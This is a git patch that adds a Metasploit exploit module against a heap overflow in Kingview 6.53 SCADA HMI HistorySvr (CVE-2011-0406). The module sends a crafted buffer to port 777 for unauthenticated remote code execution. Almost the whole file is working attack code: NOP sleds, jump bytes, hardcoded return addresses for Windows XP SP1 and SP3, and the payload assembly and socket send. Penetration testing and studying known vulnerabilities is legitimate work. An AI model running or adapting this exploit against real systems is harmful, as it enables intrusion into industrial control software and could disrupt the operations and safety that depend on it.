From 36c05de02eab2610466a754ffcfd7074e3d78c3e Mon Sep 17 00:00:00 2001
From: Wei Chen <Wei_Chen@rapid7.com>
Date: Wed, 16 Mar 2011 02:39:45 +0000
Subject: [PATCH] Added kingview historysvr exploit.  By rick2600 and Dillon.

git-svn-id: file:///home/svn/framework3/trunk@11977 4d416f70-5f16-0410-b530-b9f4589650da
---
 .../windows/misc/kingview_historysvr.rb       | 96 +++++++++++++++++++
 1 file changed, 96 insertions(+)
 create mode 100644 modules/exploits/windows/misc/kingview_historysvr.rb

diff --git a/modules/exploits/windows/misc/kingview_historysvr.rb b/modules/exploits/windows/misc/kingview_historysvr.rb
new file mode 100644
index 0000000000..cecf0d71a9
--- /dev/null
+++ b/modules/exploits/windows/misc/kingview_historysvr.rb
@@ -0,0 +1,96 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GoodRanking
+
+	include Msf::Exploit::Remote::Tcp
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'        => "Kingview 6.53 SCADA HMI HistorySvr Heap Overflow",
+			'Description' => %q{
+				This module exploits a buffer overflow in Kingview 6.53.  By sending a specially
+				crafted request to port 777 (HistorySvr.exe), a remote attacker may be able to
+				gain arbitrary code execution without authentication.
+			},
+			'License'	  => MSF_LICENSE,
+			'Version'	  => "$Revision$",
+			'Author'      =>
+				[
+					'Dillon Beresford',  #Found by Dillon
+					'rick2600',          #XP SP3 execution
+				],
+			'References' =>
+				[
+					['CVE', '2011-0406'],
+					['OSVDB', '70366'],
+					['Bugtraq', '45727'],
+					['URL', 'http://www.exploit-db.com/exploits/15957'],
+					['URL', 'http://www.kb.cert.org/vuls/id/180119'],
+					['URL', 'http://thesauceofutterpwnage.blogspot.com/2011/01/waking-up-sleeping-dragon.html'],
+				],
+			'Payload'	 =>
+				{
+					'BadChars' => "\x00\x0d\x0a\xff"
+				},
+			'Platform' => 'win',	
+			'Targets'	 =>
+				[
+					[ 'Windows XP SP1', {'Ret' => 0x77ED73B4} ], #UnhandledExceptionFilter() in kernel32.dll
+					[ 'Windows XP SP3 EN', {'Ret' => 0x00A1FB84} ],
+				],
+			'DisclosureDate' => "9/28/2010",
+			'DefaultTarget' => 0))
+
+			register_options( [ Opt::RPORT(777) ], self.class )
+	end
+
+	def exploit
+		sploit = ''
+		if target.name =~ /XP SP1/
+
+			sploit << make_nops(32812)
+			sploit << "\xEB\x10"
+			sploit << "\x41"*6
+			sploit << "\xAD\xBB\xC3\x77"
+			sploit << [target.ret].pack('V')
+			sploit << make_nops(8)
+			sploit << payload.encoded
+			sploit << "\x44"*(1000-payload.encoded.length)
+			#this makes the app more crashy, need to investigatev
+			#sploit << make_nops(1000-payload.encoded.length) 
+
+		elsif target.name =~ /XP SP3/
+
+			sploit << make_nops(1024)
+			sploit << payload.encoded
+			sploit << "\x44"*(31752-payload.encoded.length)
+			#rand_text_alpha_xxx() unfortunately makes it a bit unstable,
+			#not ready to implement
+			#sploit << rand_text_alpha_upper(32776-sploit.length)
+			sploit << [target.ret].pack('V')
+
+		end
+
+		connect
+
+		print_status("Trying target #{target.name}")
+		sock.write(sploit)
+
+		select(nil, nil, nil, 5)
+		handler
+		disconnect
+
+	end
+end